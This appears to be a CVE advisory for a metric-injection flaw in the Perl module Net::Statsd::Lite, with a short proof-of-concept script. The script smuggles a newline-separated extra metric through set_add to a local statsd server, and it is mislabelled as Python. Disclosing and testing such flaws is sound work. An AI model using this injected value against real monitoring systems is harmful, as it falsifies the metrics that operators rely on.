CVE-2026-8788

Description

Net::Statsd::Lite versions through 0.10.0 for Perl allowed metric injections. The values from the set_add method were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics. Note that version 0.9.0 fixed a similar issue CVE-2026-46719 for metric names.

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/perl
use strict;
use warnings;
use Net::Statsd::Lite;

# Victim configuration
my $statsd = Net::Statsd::Lite->new(
    host => '127.0.0.1',
    port => 8125,
);

# Malicious payload containing newline and pipe characters
# This injects a new metric 'fake.metric' alongside the legitimate one
my $malicious_input = "value\nfake.metric:666|g";

# The vulnerable 'set_add' method does not sanitize the input
# causing the Statsd server to interpret the injected payload
print "Sending payload...\n";
$statsd->set_add('legit.metric', $malicious_input);

print "Exploit completed. Check Statsd server for injected 'fake.metric'.\n";
